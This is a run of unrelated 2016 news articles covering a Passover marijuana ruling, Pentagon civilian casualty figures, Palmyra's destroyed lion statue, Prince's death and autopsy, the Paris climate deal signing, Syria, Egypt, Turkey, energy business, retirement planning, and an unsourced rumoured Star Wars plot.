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When Passover starts Friday at sundown, feel free to light up! A high-ranking (and apparently super cool) rabbi says marijuana consumption during Passover is totally kusher  but only if you actually need it for medical reasons.

Read more: This Strain of Marijuana Is Extending the Benefits of Chill to a New Group of People

According to the Independent, Ashkenazi Jews typically categorize marijuana as a "kitniyot," a group of grains (like rice) and legumes (like lentils and peas) whose consumption during Passover is strictly verboten.

Source: Giphy

However, the Times of Israel reported Rabbi Chaim Kanievsky, one of the leading ultra-Orthodox halachic authorities, recently gave his blessing for Jews of any background to eat or smoke marijuana during the eight-day holiday if it is medically necessary.

Part of the reason for this leeway is the fragrance of marijuana, which Kanievsky and a second leading Orthodox authority, Rabbi Yitzchak Zilberstein, deemed as "healing," the Times of Israel reported.

For the record, healing scent or not: It seems that recreational marijuana consumption is still off-limits.

Now, watch these rabbis get a face full of hemp leaves. Chag Sameach!
Washington (AFP) - The Pentagon acknowledged Friday that 20 civilians were killed in US air strikes on Islamic State targets over a five-month period, more than doubling an ongoing tally of such deaths to 41.

Observers were quick to dismiss the toll as "unbelievable," warning the toll is likely much higher given the intensity of the 20-month-old air campaign that has unleashed 12,000 plane and drone strikes -- often in urban areas.

The latest figures from US Central Command are based on investigations into nine strikes in Iraq and Syria between September 10 and February 2, including one in Atshanah, Iraq that killed eight civilians and another in the Iraqi city of Ramadi that killed five.

CENTCOM spokesman Colonel Pat Ryder said the United States regretted the loss of life, but said the IS group bore responsibility.

"In this type of armed conflict, particularly with an enemy who hides among the civilian population, there are going to be, unfortunately, civilian casualties at times," Ryder said.

"We do everything we can to avoid it, but that's just the nature of the enemy we are dealing with."

In addition, a total of 28 civilians have been injured in the campaign, the Pentagon claims.

Airwars, a London-based collective of journalists and researchers, uses local sources, photographs and media accounts to keep a detailed list of every known coalition air strike.

They praised Pentagon efforts at accountability compared to other players in Syria such as Russia and the regime of President Bashar al-Assad, but the group said the number of likely civilian deaths from coalition strikes is 1,118 at a bare minimum.

"We certainly welcome this latest US admission -- we think that is a positive step -- but even so, 41 civilian deaths from almost 12,000 air strikes is frankly unbelievable," Airwars director Chris Woods told AFP.

"This is a very intense air campaign. You don't get to drop 500-pound bombs on urban areas and not kill civilians."

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The US has led an international coalition that since August 2014 has targeted IS fighters in Iraq and Syria.

Airwars said the victims in the Atshanah and Ramadi strikes appeared to have been families.

- New rules on authorizing strikes -

The latest announcement comes just days after the Pentagon acknowledged that, it has changed since late 2015 how air strikes risking civilian deaths are approved.

Under the new rules, authority now comes from the commanding three-star US general in Baghdad, instead of going through a four-star at CENTCOM's Florida headquarters.

The timing of that decision overlaps with the casualty increase, but the military insists the changes have not lessened oversight standards in determining when such losses are an acceptable risk.

"We take extraordinary precautions to avoid civilian casualties, applying rigorous standards in our targeting process... Those standards have not changed," said CENTCOM spokesman Captain Bryant Davis.

"Delegating authorities for targeting makes us faster and more agile, but it does not change this fundamental fact."

A January 11 attack on a cash distribution system near the Iraqi city of Mosul killed one civilian and injured five others, CENTCOM said.

That particular strike drew international attention because military video of the attack showed millions of dollars worth of cash fluttering across the city afterward.

"It's important to put this into perspective that this is an extremely precise air campaign and we take a lot of effort to make sure we are striking what we are intending to strike," Ryder said.

Ryder said the US military had received a total of 162 allegations of civilian deaths. Of these, 112 were deemed not credible.

Probes into the rest have either been completed or are in various stages of investigation.
Palmyra (Syria) (AFP) - When two Polish heritage experts first restored the famed lion statue in Syria's Palmyra in 2005, they never imagined they would see it smashed to pieces only a decade later.

"We did new restoration, new presentation of this lion, the Lion of Al-Lat. And after, I thought, I'm doing this (to last) for over 200 years or 300 years, maybe more," archaeologist Bartosz Markowski told AFP.

"But it appears it was only 10 years."

Markowski spoke to AFP at the entrance of Palmyra's museum, where the striking 15-tonne Lion of Al-Lat lay in large, jagged pieces.

It was smashed by the Islamic State group, which overran Palmyra -- known as the "Pearl of the Desert" -- in May 2015.

During their 10-month rule over the city, the jihadists executed hundreds of civilians and blew up some of Palmyra's most beautiful temples and funerary towers in the old city.

Palmyra's museum lies in the residential parts of the city.

The destroyed Lion of Al-Lat at the museum's entrance serves as a harbinger for the destruction inside: statues lay in pieces blanketed in dust and debris.

Syria's government forces recaptured the city on March 27, and experts immediately set to work assessing the damage to the city's historic ruins.

Markowski, from the University of Warsaw's archaeology institute, was the first foreign archaeologist to enter Palmyra after the regime win.

He arrived in Palmyra with his colleague Robert Zukowski, from the Polish Academy of Sciences, in mid-April for a one-week mission to evaluate the damage.

- Polish 'heroes' -

The three-metre-tall Lion of Al-Lat dated back to the 1st century BC.

It was first discovered in 1977 by a Polish archaeological mission at the temple of Al-Lat, a pre-Islamic Arabian goddess.

Nearly four decades later, his hair and clothes covered in dust, Markowski patiently catalogued the broken pieces of the limestone monument.

"This lion is like our baby. We have had a sentimental relationship with this statue ever since we came in 2005 to help restore Palmyra," Markowski said.

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As soon as he and Zukowski heard IS was pushed out of Palmyra, "we decided to return at the invitation of the Directorate of Antiquities and Museums of Syria," he added.

Maamun Abdulkarim, the head of Syria's antiquities department, says the two Polish workers are "heroes."

Markowski said he felt he "had to come back as soon as possible."

"We were excited because we had not seen any photos since one year, or almost one year, since Daesh came here," he said, using an Arabic acronym for IS.

"The first pictures that we saw (were from) one week ago. And we saw that there is something to do here."

He told his wife he was travelling to Egypt, "because she would not have let me leave if she knew I was coming to Palmyra."

More than 270,000 people have been killed and millions have been forced to flee their homes since the conflict erupted in March 2011.

- 'Two crazy restorers' -

After being catalogued by Markowski, each piece was carefully carried by Zukowski and a Syrian colleague into large boxes.

The containers will head to Damascus, where restoration can begin.

His hands covered in blisters, Zukowski took a photograph of each broken slab of rock.

"You know I'm proud -- I'm really proud that we can come back here," Zukowski said.

He said he was confident that the lion could be restored to its previous glory but the most difficult parts to restore would be around its nostrils.

Since the Syrian regime pushed IS out of Palmyra last month, deminers -- including from a special unit dispatched by Moscow -- have been clearing explosives from Palmyra's old city.

Zukowski and Markowski had yet to assess the damage there, where the grand Temples of Bel and Baalshamin once stood, now largely reduced to rubble.

The heaviest fighting between IS and Syria's government fighters took place in the modern part of Palmyra.

Although residents have slowly begun returning to rebuild their homes and their lives, the residential neighbourhoods remain eerily quiet.

"It needs people in the town. Now it's deserted, there is no one here. Only army and some reporters. And two crazy restorers," Markowski said.
Panama City (AFP) - Seven little monkey teeth 21 million years old found during work on the Panama Canal are ripping up scientific theories on simian migration.

The fossils, found by US and Latin American researchers who wrote up the discovery in this week's edition of Nature, suggest that so-called New World monkeys -- ones that made it across the Atlantic from Africa to South America -- made it to North America 18 million years earlier than previously thought.

They are "the first evidence of a monkey on the North American continent before the isthmus of Panama connected it to South America 3.5 million years ago," the Panama-based Smithsonian Tropical Research Institute (STRI) said in a statement.

Scientists once thought that 200 kilometers (140 miles) of sea that separated North and South America in the Miocene era was a barrier to all mammal migration, and that monkeys only moved from South America to North America when Panama rose from an island-dotted sea and linked the two.

"It had been believed that the monkeys were restricted to South America," which millions of years ago "was a continental island with no evident connection to North America," an STRI scientist, Aldo Rincon, told AFP.

But that theory has to be revised because of the teeth found by a team led by University of Florida paleontologist, Jonathan Bloch.

The team identified the teeth as belonging to a previously unknown species of monkey dubbed Panamacebus transitus, believed to be related to capuchin and squirrel monkeys found today in South and Central America.

"These monkey fossils from the canal show that somehow -- and we aren't really clear how -- some monkeys made it to Panama," Rincon said.

- Island hopping? -

The best guess is that the monkeys hitched rides on floating vegetation, hopping from island to island, or that they were swept to sea by storms, he said.

"The only way of getting across that can be rejected out of hand is that they walked," Rincon said.

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The scientists had long been wanting to dig for fossils in Panama's deep jungle, but it was work started in 2007 to expand the country's canal that offered an unprecedented opportunity.

The $5.6 billion expansion project saw engineers dynamite the canal's banks. That "unlocked a treasure trove for us, containing this new monkey species and many other fossils," said Carlos Jaramillo, an STRI scientist who was on the team.

"It was an incredible opportunity, a once-in-a-century opportunity to look at rocks in the tropics," Bloch said, according to Nature.
Prince had just started working on a memoir about his life before he died Thursday.

That's the latest from TMZ, the celebrity news and gossip website that first broke the news of Prince's death.

Citing unnamed sources, the outlet says that the artist began writing the book a month ago, and had completed about 50 pages.

Prince had been wanting to sit down and record his life for years, but only began committing to the project last month.

Prince was found dead at his Paisley Park studio home in Chanhassen, Minnesota Thursday, at the age of 57.
At an event celebrating the 34th anniversary of Sinai Liberation Day, Egypt's defence minister Sedki Sobhi said that security forces have eradicated numerous terrorist hideouts in North Sinai, Al-Ahram Arabic newspaper reported.

Sinai Liberation Day, which falls on Monday 25 April, commemorates the completion of the withdrawal of the Israeli army from the Sinai Peninsula in 1982 after 25 years of occupation.

The withdrawal was in accordance with the peace treaty signed between Egypt and Israel in 1979.

Sobhi saluted members of the Armed Forces at the event, which took place at the Galaa Army Theatre in Cairo, and extended his condolences to the families of those who lost their lives in the countrys fight against Islamist militants.

"We are full of determination to eradicate the roots of this abhorrent terrorism, it is our sacred duty," says Sobhi.

The event was attended by Egypt's parliament speaker Ali Abdel-Al, Prime Minister Sherif Ismail and a number of ministers and MPs.

Egyptian security forces have been battling an Islamist insurgency in North Sinai, which spiked after the ouster of Islamist Mohamed Morsi in July 2013.

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The Midwest Medical Examiners Office confirmed to ET that Prince's autopsy was completed on Friday in Carver County, Minnesota.

The exam, which began at 9 a.m. was administered by Dr. A. Quinn Strobel, and was finished by 1 p.m. Prince's body will now be released to his family.

WATCH: Rainbow Appears Over Prince's Estate Hours After His Death

The 57-year-old musician, whose full name was Prince Rogers Nelson, has one sister, Tyka Nelson, who reportedly greeted Prince fans outside of his Paisley Park recording studio in Chanhassen, Minnesota, on Thursday, following his death. Prince also has several half brothers and sisters. Both his parents are dead.

Results of the autopsy will take several days to come back, but a source tells ET that Prince did have some health issues. The musician got the flu, which then turned into walking pneumonia, and, in addition, he was also dealing with a hip injury.

The source also tells ET that Prince had an issue with the pain killer, Percocet, which dated back to when he had hip replacement surgery in 2010.

WATCH: L.A. Reid Says Prince Thought Elevators 'Were the Devil', Finds Friend's Death 'Haunting'

On Thursday, Carver County Sheriff Jim Olson told ET that the late legendary musician was found unresponsive in an elevator when officials responded to a call at Prince's Paisley Park Studios in Chanhassen, Minnesota, at 9:43 a.m.

"First responders attempted to provide lifesaving CPR, but were unable to revive the victim," Olson said in a statement. "He was pronounced deceased at 10:07 a.m."

EXCLUSIVE: Inside Prince's Final Days

Related Articles
A four-hour autopsy was performed on Prince on Friday, but authorities said they are no closer to determining how the iconic musician died.

It was a meticulous exam, said Martha Weaver, spokeswoman for the Midwest Medical Examiners Office.

Carver County Sheriff Jim Olson, whose officers responded to a 911 call at Princes Paisley Park estate Thursday morning, said the artists body showed no signs of trauma.

There was no sign of violence, Olson said at a Friday afternoon news conference.

Nor do investigators have reason to believe it was suicide, he said. The rest of it is under investigation.

Flowers lay on a T-shirt signed by fans of singer Prince at a makeshift memorial place created outside Apollo Theater in New York. (AP/Andres Kudacki)

Prince Rogers Nelson, 57, was last seen alive at his sprawling compound in Chanhassen, a suburb of Minneapolis, about 8 p.m. Wednesday, the sheriff said.

He had been dropped off there at Paisley Park, Olson said.

Staff members at the estate found the singer unconscious in an elevator on the property at about 9:43 a.m. Thursday. Olson said first responders tried to perform CPR on Prince, but could not revive him. Authorities pronounced him deceased 24 minutes later, but it is not yet known how long he might have been dead.

Even though the physical autopsy is finished, officials say it could take several days to weeks before Princes manner of death is confirmed and made public.

The longest delay will be for the results of toxicology testing.

It will take days and weeks to complete those particular investigations, Weaver said.

The sheriff declined to address speculation that Princes death was caused by a reported abuse of prescription pain pills.

Im not able to confirm that at this time at all, Olson said. There have been so many rumors out that Ive read about. I dont know if I can dispel all the rumors that are out there.

A law enforcement officer and an employee are seen outside of Paisley Park, music superstar Prince's estate in Chanhassen, Minnesota. (Reuters/Craig Lassig)

Investigators said their probe would include conversations with the popular performers doctors and an examination of his medical and family history.

Prince was on tour in the U.S. this month and played a show in Atlanta the night of the April 14. The superstar was briefly hospitalized while on his way home after his plane made an emergency landing in Illinois because he was reportedly suffering from the flu.

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Between us and the medical examiner, we will be looking at all of that, the sheriff said of the recent hospital visit. This case is 29 hours old and continues to evolve for us.

According to flight records, the jet Prince was believed to be using left Atlanta shortly before 1 a.m. EDT on April 15. The Dassault Falcon 900 was en route to MinneapolisSaint Paul International Airport but diverted to Quad City International Airport in Moline, Ill., about 30 minutes before the scheduled landing. The aircraft, according to records, was in Illinois for nearly 10 hours before departing for Minneapolis again.

Anything which could be relevant to the investigation will be taken into consideration, Weaver said earlier in the day.

RELATED  Minneapolis mourns Prince, a native son who stayed close to home >>>

Because of Princes relatively young age and the fact that no one witnessed his death, the sheriff said crime lab technicians combed the musicians home. However, Olson declined to reveal what was seized or discuss its value to the investigation.

The first officers on the scene found Prince slumped in an elevator on the complex's first floor. He was dressed in pants and a shirt, but Olson said he did not know how long the singer had been wearing the clothes.

Given that Prince occasionally performed for others at his estate, the sheriff said, Its not unusual for us to receive calls at Paisley Park itself, Olson said. But there was nothing that Im aware of that involved Prince directly at Paisley Park.

Hed been a longtime member of the community and really a good neighbor for everybody, said the sheriff, whose department has jurisdiction over the town of 23,000.

Princes body was released to his family and retrieved from the coroners office Friday afternoon, Weaver said.

(This is story has been updated since it originally published.)

Jason Sickles is a national reporter for Yahoo News. Follow him on Twitter (@jasonsickles).
A Turkish court ordered the release of four academics accused of spreading terrorist propaganda during the opening hearing of their trial on Friday, April 22. The academics were in pre-trial detention over signing a declaration signed by 1,000 scholars in January criticizing military operations against Kurdish militants.

The prosecutor reportedly requested for the academics instead to be tried under article 301 of the Turkish penal code that makes it illegal to insult the Turkish nation or government institutions. The next hearing has been scheduled for September 27, according to Turkish news reports.

At the same time, a third hearing was held at the same court in the case against the editor-in-chief and the Ankara bureau chief of the opposition Cumhuriyet newspaper, who have been accused of espionage and aiding a terrorist organization. The paper published a report alleging that the Turkish government smuggled weapons to Islamists in Syria.

Protesters in support of the academics and journalists gathered outside the Caglayan courthouse on Friday, as the hearings were underway. Credit: Twitter/@PoliteknikBilgi
Working title is "Echoes of the Dark Side"

It's divided into three equally important plot threads that don't converge until the third act: Rey's, Finn's, and Kylo's.

There's not nearly as much action as TFA in the first two acts, but the third act goes full-on crazy.

The broad structure isn't as similar to ESB as TFA was to ANH, but the parallels are still present. Rey is training in the ways of the Force with an old Jedi master (Luke) on a wild planet while Finn and Poe are in a beautiful city that has a shady, sinister underpinning. Finn and Poe are betrayed and captured by Kylo Ren who uses them as bait to draw Rey out of hiding so Kylo and Rey can have a duel in an industrial portion of the city.

The backstory to Luke and his Jedi being wiped out is that Snoke seduced Kylo and a few of the other students to the dark side and tasked them with killing everyone. Luke and a few others survived, including a young Rey who was subsequently dumped on Jakku by Luke.

Rey's mom died in the attack.

Rey is pissed at Luke because she guesses that he was her father and is angry at him for abandoning her. Luke turns to her and says "No, you are my father."

Yes, really.

Rey is the reincarnation of Anakin Skywalker. Luke went to the first Jedi temple to better understand how the process works. He learned that the spirit of the chosen one is reincarnated by the Force every time the universe is thrown out of balance, which apparently happens on a semi-regular basis (Anakin was hardly the first time the chosen one reincarnated). This is why she's so crazy powerful with the Force (remember that Anakin blew up the Trade Federation donut ship by himself when he was like 8 years old).

Rey was the product of a virgin birth, but midichlorians aren't mentioned (Luke says "you are a child of the Force").

Luke is hesitant to train her because, according to Jedi history, the chosen one always struggles with staying on the light side of the Force because of the chaotic power running through them. He's afraid that she could become Vader 2.0. If he trains her to fight Kylo, and she turns dark, she would do way more damage to the galaxy than Kylo could ever dream of doing.

He ultimately trains her anyway and leaves everything up to the Force. He makes this decision in a scene where he confers with the ghosts of Obi-Wan and Yoda (Ewan MacGregor and Frank Oz come back).

Rey learns lightsaber skills, Force skills, and has a vision quest thing where she talks with Maz Kanata (unsure if its telepathy or just a dream) and Hayden Christenson. The latter tells her that she is him, but different, and theres a quick scene where we see hundreds of other Force ghosts who are implied to be past chosen ones.

Rey feels Finn's distress elsewhere in the galaxy and says she needs to go to him. Luke tells her about the time he felt his friends in distress and Yoda told him to stay and finish his training, and his disobedience led to pain. But then he says he isn't Yoda, and has his own way of doing things, and tags along with her to go help.

Finn wakes up on a Resistance cruiser and is told by Poe that they're already en route to the makeshift Republic homeworld in the wake of the capital planet being blown up by Starkiller Base.

Leia wants to lobby them to go to war.

The Republic is being led by an interim dictator named Lord Vikram (Benicio Del Toro), who was quickly put into power by the few senators still around to maintain order.

Starkiller's destruction of the Republic core worlds caused a galactic communications disruption because everything was routed through those worlds, so Vikram is trying to reestablish contact and ensure the Republic doesn't collapse into anarchy.

Leia and Vikram butt heads. Vikram agrees that the Republic has to go to war with the First Order, but wants to wait for communications to come back online so they can muster up a sizable force (all they have right now is a single small fleet). Leia disagrees, and wants to take the war to the First Order now while Snoke is still reeling from Starkiller's destruction. She says both sides are in chaos, which makes this an opportune time to strike. Vikram counters by telling her she's letting her personal emotions over Han's death get in the way, and Leia throws it back at him by telling him he was always a little snake of a politician when they would argue back in her senate days, etc, etc, they have old bad blood or whatever.

The Republic planet is safe because it's protected by a heavy duty shield that can repel any invasion or bombardment from the First Order.

Finn and Poe are tasked by Leia to investigate the city because one of Leia's contacts informed her that the First Order have spies embedded in the Republic. Leia suspects Vikram.

Finn quickly becomes enamored by Leia's contact, Chala (Kelly Marie Tran), who tags along with him and Poe through the underbelly of the city to gather information.

Finn and Chala have a flirty romance subplot that involves a nighttime adventure through the rustic old city (this is the second entry in the trilogy after all, and poetry demands it).

Finn, Poe and Chala all corner the culprit: Vikram's aide, who has evidence of contact between Vikram and the First Order. Leia and some Resistance fighters confront Vikram and throw him in jail for treason. He denies everything, and the rest of the Republic officials are horrified because Leia basically just coup-de-etat'd the **** out of their leadership. Leia assumes control of the planet's defenses and absentmindedly puts Finn in charge of the shield codes.

Finn and Chala have a moment and Finn mentions his confusion about why Vikram didn't just lower the shields for the First Order. They walk into a room and Phasma is standing there and Chala draws a gun on Finn and forcibly takes the codes for disarming the shield from him. She says she planted the evidence, used Finn to get the codes, and basically that she thinks he's a dirty traitor to the First Order. In a moment of pure pottery, Phasma makes Finn lower the shields.

The First Order fleet jumps out of hyperspace and invades the planet, quickly capturing Finn, Poe and Leia. Kylo starts to torture Finn using the Force, knowing that it will draw Rey out of hiding and into his trap.
(Adds analyst comment)

By Nia Williams

CALGARY, Alberta, April 22 (Reuters) - TransCanada Corp agreed to submit to a Quebec environmental review of its Energy East pipeline on Friday, avoiding a potential legal battle with the province by putting the controversial project through an extra round of scrutiny.

The resolution removes a potential hurdle but also introduces another approval process for the nearly 2,860-mile (4,600 km) cross-Canadian pipeline, which will carry 1.1 million barrels per day of crude from Alberta's oil sands to the country's Atlantic coast.

TransCanada is pushing to build Energy East after U.S. President Barack Obama last year blocked the cross-border Keystone XL crude pipeline. His decision was a victory for environmentalists and a blow to TransCanada after a seven-year battle for approval.

In a statement, Quebec Environment Minister David Heurtel said TransCanada had filed a project notice agreeing to an environmental impact study, prompting the province to suspend its efforts to get a permanent injunction against the company.

Quebec will completely withdraw its injunction application once the study is approved, the minister said.

TransCanada spokesman Tim Duboyce said the company had initially been "quite perplexed" by Quebec's request in early March to submit to provincial environmental law because Energy East is subject to federal regulations.

"We will provide the environmental impact assessment in the form they are looking for in addition to a comprehensive one that has already been filed with the federal regulator the National Energy Board," Duboyce said.

Quebec filed a motion seeking an injunction against the pipeline in early March to ensure the project complied with provincial environmental law, saying it acted after TransCanada ignored two letters in 2014 requesting an evaluation.

Greenpeace campaigner Keith Stewart said the pipeline would now undergo a much more detailed review process.

"The odds of this getting built just went down a couple of notches and the scrutiny that it's going to be subject to went up several notches," Stewart said.

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However, FirstEnergy Capital analyst Martin King said because Energy East is an inter-provincial pipeline only the NEB can approve or reject it, meaning Quebec should not be able block the project on environmental grounds.

"It's basically a trade-off, they (TransCanada) are saying 'Drop the injunction and we will allow the environmental assessment to go ahead, even though it's not legally required'," King said.

(Additonal reporting by David Ljunggren in Ottawa and Allison Lampert in Montreal; Editing by Bernard Orr and Tom Brown)
What to Expect from Range Resources 1Q16 Earnings

(Continued from Prior Part)

Range Resources production guidance

For 1Q16, Range Resources (RRC) expects total production of 1.4 Bcfe (billion cubic feet equivalent) per day, which is ~2% higher when compared with 1Q15 production of ~1.3 Bcfe per day. Sequentially, RRCs 1Q16 production guidance is lower by ~6% when compared with 4Q15. For 1Q16, RRC is expecting ~32% liquids in its production mix.

For 2016, Range Resources expects total production in a range of 1.391.42 Bcfe per day, which is higher by 8%10% when compared with 2015 on the pro forma Nora assets sale. In 4Q15, RRC completed the Nora assets sale for cash proceeds of $865 million. The proceeds from divestitures were used to reduce debt. RRC is expecting 2015 production to come mainly from the Marcellus Shale. CONSOL Energy (CNX), EQT Corporation (EQT), and Southwestern Energy (SWN) are also operating in the Marcellus Shale. CONSOL Energy is expecting a ~15% increase in its 2016 production.

Other upstream players

Other upstream companies like Murphy Oil (MUR) and Apache (APA) have reported ~23% and ~9% year-over-year decreases in their 4Q15 total production, respectively. On the other hand, Occidental Petroleum (OXY) reported a ~10% year-over-year increase in its 4Q15 total production. The SPDR S&P Oil and Gas Exploration & Production ETF (XOP) invests at least 80% of its total assets in oil and gas exploration companies.

RRCs capex guidance

For 2016, RRC expects total capex of ~$495 million, which is ~45% lower when compared with 2015 and ~69% lower when compared with 2014. RRC plans to direct its capital budget towards more dry gas drilling to maximize its expected rate of return. In 2015, RRC spent a total ~$900 million in capex.

RRCs cost guidance

For 1Q16, RRC expects production cash cost in a range of $1.88$1.96 per Mcfe (thousand cubic feet equivalent), a mid-point increase of ~16% when compared with the 4Q15 production cash cost of $1.66 per Mcfe. The quarter-over-quarter increase in forecasted 1Q16 production cash cost is wholly due to the $0.19 per Mcfe increase in transportation, gathering, and compression expenses. However, Range Resources expects the increased expenses related to firm transportation for natural gas (UNG) (UGAZ) (DGAZ) and natural gas liquids will improve differentials for its natural gas and natural gas liquids production more than it will offset the increased expenses.

Story continues

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By Michelle Nichols and Valerie Volcovici UNITED NATIONS (Reuters) - China and the United States, the world's top producers of greenhouse gas emissions, pledged on Friday to formally adopt by the end of the year a Paris deal to slow global warming, raising the prospects of it being enforced much faster than anticipated. The United Nations said 175 states took the first step of signing the deal on Friday, the biggest day one endorsement of a global agreement. Of those, 15 states also formally notified the United Nations that they had ratified the deal. Many countries still need a parliamentary vote to formally approve the agreement, which was reached in December. The deal will enter into force only when ratified by at least 55 nations representing 55 percent of man-made greenhouse gas emissions. China and the United States together account for 38 percent of global emissions. "China will finalize domestic legal procedures on its accession before the G20 Hangzhou summit in September this year," China's Vice Premier Zhang Gaoli told the U.N. signing ceremony, attended by some 55 heads of state and government. U.S. Secretary of State John Kerry, who signed the deal with his 2-year-old granddaughter Isabelle on his lap, said the United States "looks forward to formally joining this agreement this year." President Barack Obama will formally adopt the agreement through executive authority. The deal commits countries to restraining the global rise in temperatures to "well below" 2 degrees Celsius (3.6 degrees Fahrenheit) above pre-industrial levels. But even if the pact is fully implemented, promised greenhouse gas cuts are insufficient to limit warming to an agreed maximum, the United Nations says. The first three months of 2016 have broken temperature records and 2015 was the planet's warmest year since records began in the 19th century, with heat waves, droughts and rising sea levels. "The era of consumption without consequences is over," U.N. Secretary-General Ban Ki-moon said on Friday. "We must intensify efforts to decarbonize our economies. And we must support developing countries in making this transition." 'REASON FOR HOPE' Many developing nations are pushing to ensure the climate deal comes into force this year, partly to lock in the United States if a Republican opponent of the pact is elected in November to succeed Obama, a Democrat. Once the accord enters into force, a little-noted Article 28 of the agreement says any nation wanting to withdraw must wait four years, the length of a U.S. presidential term. The deal also requires rich nations to maintain a $100 billion a year funding pledge beyond 2020, providing greater financial security to developing nations to build their defenses to extreme weather and wean themselves away from coal-fired power. "We need to mobilize the necessary financial resources," French President Francois Hollande said. "We need to ensure that our words become actions." The U.N.'s previous climate deal, the 1997 Kyoto Protocol entered into force only in 2005. Kyoto dictated cuts in greenhouse gas emissions only for developed nations, unlike the Paris Agreement which involves both rich and poor but lets all countries set national targets. The previous first-day record for signatures for a global agreement was set in 1982 when 119 states signed the Convention on the Law of the Sea. "More countries have come together here to sign this agreement today than for any other cause in the history of human kind and that is a reason for hope," actor and U.N. Messenger of Peace on climate change, Leonardo DiCaprio told the event, taking place on Earth Day. "But unfortunately the evidence shows us that it will not be enough. Our planet cannot be saved unless we leave fossil fuels in the ground where they belong," he said. (Additional reporting by Lesley Wroughton, Louis Charbonneau, and Luciana Lopez; Editing by David Gregorio and Frances Kerry)
Related Egyptian police arrest tens of people ahead of calls for April 25 protests

Ten activists who were arrested late on Thursday in Cairo in connection with planned protests next week were released on Friday, while dozens of others remain in custody under investigation, according to the "Freedom for the Brave" campaign.

Police raided several Cairo cafes as well as private houses in Alexandria, the Nile Delta and Upper Egypt on Thursday night and arrested dozens of people ahead of planned protests on 25 April.

Earlier on Friday, rights lawyer Amr Emam told Ahram Online that at least 100 people were estimated to have been arrested around the country on Thursday night.

Emam said that in Cairo at least 56 people were arrested and in other governorates authorities raided houses and arrested some 45 people.

Among those who remain in custody are activists Haitham Mohamadein and Mohamed Mostafa.

Last week, several thousand protestors took to streets to oppose the governments decision to acknowledge Saudi Arabian sovereignty over the Red Sea islands of Tiran and Sanafir. They had vowed to stage another protest on 25 April, which is Sinai Liberation Day.

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When it comes to retirement planning, fear of the unknown can lead to poor choices and anxious nights.

Options are key for retirement. The more you have, the more you can ensure your savings are invested in low-fee vehicles that will build your nest egg over decades. For those with fewer options, retirement planning becomes much more of a fearful endeavor.

A recent survey by the Employee Benefit Research Institute (EBRI) found the percentage of American workers that are very confident or somewhat confident about their retirement has leveled off at 63 percent. That has stabilized following the years in which confidence was suppressed due to the recession and subsequent recovery.

A major factor. However, almost 20 percent of workers are not at all confident about having enough money for their plans. The biggest differences between the two groups: A 401(k) account or pension. When the worker, or the worker's spouse, has no company-funded retirement plan, the number of those being not at all confident or not too confident is 57 percent. Meanwhile, that sentiment was reported by only 26 percent rate of those with a company funded plan.

[See: 7 Agricultural Stocks and ETFs to Buy and Hold.]

This leaves the potential for a large -- and growing -- group that also lacks confidence for retirement: the self-employed. Whether you're an entrepreneur, consultant or freelancer, not having the 401(k) through work shouldn't set your retirement plans back.

An entrepreneur's strategies are influenced by the size of the business. But they have several options when picking a retirement strategy. It depends on "whether you have employees or not," says Gordon Bernhardt, CEO of Bernhardt Wealth Management in McLean, Virginia.

Here is a look at some options.

SIMPLE IRA. For an owner that doesn't want to have employees and isn't making big bucks yet, then the SIMPLE IRA may work best. It allows for up to $12,500 in contributions a year, which far exceeds the typical limit of $5,500 that one can place in an IRA or Roth IRA per year.

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A SIMPLE IRA can also grow with your business, to a point. If you're ready to hire employees, then you can add them to the plan, and provide them with the perk of up to a 3 percent match. The downside is you have to contribute, even if you have a poor year.

Simplified Employee Pension. For entrepreneurs that begin to pull in more money, then a Simplified Employee Pension (SEP) IRA may make the most sense because you "can put much more in than with the SIMPLE IRA," Bernhardt says. That's because with a SEP IRA, you can contribute up to $53,000 a year. Plus, there are no tax returns to file and no discrimination rules.

[Read: Why Not All ETFs are Created Equal.]

But there are downsides because of the requirements that follow SEPs. Particularly noteworthy, if you decide to add employees, you have to match your contribution to theirs. This can get expensive if, say, you have a 10 percent contribution level. You can't keep yours high, and then have employees contribute at a 5 percent level, for instance.

Solo 401(k). Consultants or freelancers should look at the Solo 401(k). For consultants and freelancers, pay can vary by the year, depending on the clients and the projects available. This can create headaches when saving for retirement.

Often plans have a set amount that you have to pay. But with the Solo 401(k), that is a limitation that you can avoid. "You don't have to contribute to it every single year," says Pearce Landry-Wegener, an advisor for Summit Place Financial Advisors in Summit, New Jersey. "If you have a bad year, then you don't have to."

This gives a level of flexibility. But it still allows a $53,000 contribution limit, giving the chance to add a good amount of money during a strong year.

"As a consultant, there's never enough time," Landry-Wegener says, "but it's important to make some time for retirement."

IRA or Roth IRA. Of course, with all these plans, it's also about ensuring the funds you're investing in have low fees. If you go it alone, without the help of an advisor, then you will have to set up the IRAs or 401(k)s yourself through a brokerage firm.

For employees that don't have a 401(k), there are fewer options. For many workers, they have a job, but the business doesn't offer a company retirement plan. This impacts more than you think, as more than 50 percent of U.S. employees, according to data based on 2012 Census figures. But the options are limited in terms of what you can do.

[Read: 10 Great Ways to Pack Your Portfolio With Blue Chips.]

"They can't do anything but save into an IRA or Roth IRA," Bernhardt says. Of course, you can still save a good amount using them. They both have a $5,500 savings limit. But for Roth IRAs, if you're making more than $132,000 as a single person or $194,000 as a married couple, then you're not eligible.

Assuming you're below those numbers, then you can max out an IRA or a Roth IRA, as can your spouse.

One thing to avoid, in most cases, is annuities. While annuities may seem appealing to those with fewer retirement options, the "fees typically overrule any benefit," Landry-Wegener says.

Ryan Derousseau is a journalist with nine years of experience writing about investing and leadership issues. His work has been read in Fortune, Money, CNNMoney and Fast Company, among other publications. You can find more from him on Twitter @ryanderous.
By Suleiman Al-Khalidi and Tom Perry AMMAN/BEIRUT (Reuters) - After a brief respite, bombs are falling heavily on Aleppo, forcing people there to think again about whether it is time to get out of a city at the epicenter of the Syrian war. The momentary normalcy brought by a truce is gone. The parks are empty again, the streets deserted at night. Residents count the explosions and the dead across the frontlines of a city divided between the government and rebels. There may be worse to come. The government says there will be a new attack to take areas of Aleppo under rebel control, a campaign that would likely aim to seal the last route into rebel-held areas. Air strikes on rebel-held areas have resumed. Determined to keep their last supply route open, rebels have stepped up their bombardment of government-held areas of the city, and of a predominantly Kurdish district controlled by a militia with which they are also at war. On both sides of the city, the collapse of peace talks in Geneva has been accompanied by talk of new troop mobilizations on the ground. Rumors swirl of new deployments by government forces and their Shi'ite militia allies on the one hand, and by rebels including jihadist Nusra Front on the other. "People are most terrified of the air strikes," said Abdul Moneim Juneid, a community worker in an orphanage in rebel-held Aleppo. "People had felt tangibly the benefits of the truce" and yearned for security, he said. But leaving to Turkey, where hundreds of thousands have fled since the eruption of the conflict in 2011, is no 